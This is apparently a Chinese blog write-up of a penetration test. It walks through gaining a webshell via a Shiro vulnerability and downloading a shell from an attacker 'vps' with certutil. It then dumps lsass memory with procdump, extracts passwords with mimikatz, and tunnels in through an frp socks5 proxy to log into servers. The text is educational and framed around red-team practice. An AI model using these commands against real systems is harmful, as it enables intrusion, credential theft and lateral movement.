一次渗透测试帮自己打通渗透测试流程：getshell，内存提取密码，内网渗透

一次渗透测试帮自己打通渗透测试流程：getshell，内存提取密码，内网渗透 – 作者:quanpangshu

思路：

文章任然比较基础，先梳理一下思路，避免浪费大佬们的时间。

通过shiro框架漏洞拿到webshell——上传相关工具procdump.exe读取内存并导出为dmp文件——使用mimikatz进行密码破解——用frp进行反向代理——使用破解的账户密码登录服务器。

测试过程：

通过shiro工具进行测试：关于shiro和工具参考：https://www.cnblogs.com/xiaozi/p/13239046.html

1607950740_5fd761944d55d67bee2c5.png!small?1607950759192

获取webshell,有些时候如果获取不到可以通过远程下载的办法下载shell:certutil -urlcache -split -f http://vps/evil.txt test.jsp

1607947471_5fd754cfd54287d42410c.png!small?1607947490900

上传procdump.exe

下载地址：https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

执行命令：procdump64.exe -accepteula -ma lsass.exe

说明：lsass.exe是windows系统的一个重要进程，里面存着（登录过的）系统账户和密码

1607948128_5fd757605f4cfafee3dd0.png!small?1607948147270

把dmp文件下载下来，使用mimikatz进行密码破解：

先导入dmp文件，命令：sekurlsa::minidump lass*.dmp

1607948473_5fd758b923c5fde31d7e4.png!small?1607948492083

读取账户密码，命令：sekurlsa::logonpasswords

1607948543_5fd758ff567084264d6e5.png!small?1607948562231

然后搭建frp梯子：

实战还是多用用plugin = socks5,这个参数可以帮你进行全局代理。

1607948599_5fd7593776b9931dd33a0.png!small?1607948618368

1607948608_5fd759400778f30e79a46.png!small?1607948626887

用拿到的账号密码登录服务器：

1607948715_5fd759aba52f881c34dd2.png!small?1607948734568

总结

以前拿到一个弱口令或一个简单的漏洞就认为渗透测试结束了，圈内叫“佛系”。后来发现渗透测试起码要拿shell，毕竟“不拿shell的白帽子不是合格的白帽子”后来发现拿到shell不知道怎么办。其实拿到shell真正的渗透好像才刚刚开始（渗透是一个弹性工作），你可以拿到数据库配置文件获取数据库账号密码、获取网络架构横向渗透、或者像本文拿到账号密码登录服务器。有一个点就是frp的配置，过去一直认为只要有代理功能不都一样吗，所以就没有太关注，后来某次攻防演练发现人家别的团队大佬们已经打完目标了，而我始终都觉得网络卡的不行，其实当时我已经到门口了，就是踢不开门。因为错使用了工具“使用冰蟹”搭建正向代理进行测试，最终因为网络太卡导致放弃了目标，后来和对方大佬交流得知他们用了frp,如果当时我们也使用frp做全局代理可能结果就不一样了。最后是关于shiro,其实有些shiro是需要构造复杂的包才能执行命令的，这也需要运气去碰一碰的，如果你对目标很熟悉，相信运气也会不错的。另外基础还是非常重要的，掌握操作系统的基本命令，当你通过直接上传木马不行的时候可以考虑远程下载木马，该走的弯路多走一走对成长还是很有好处的。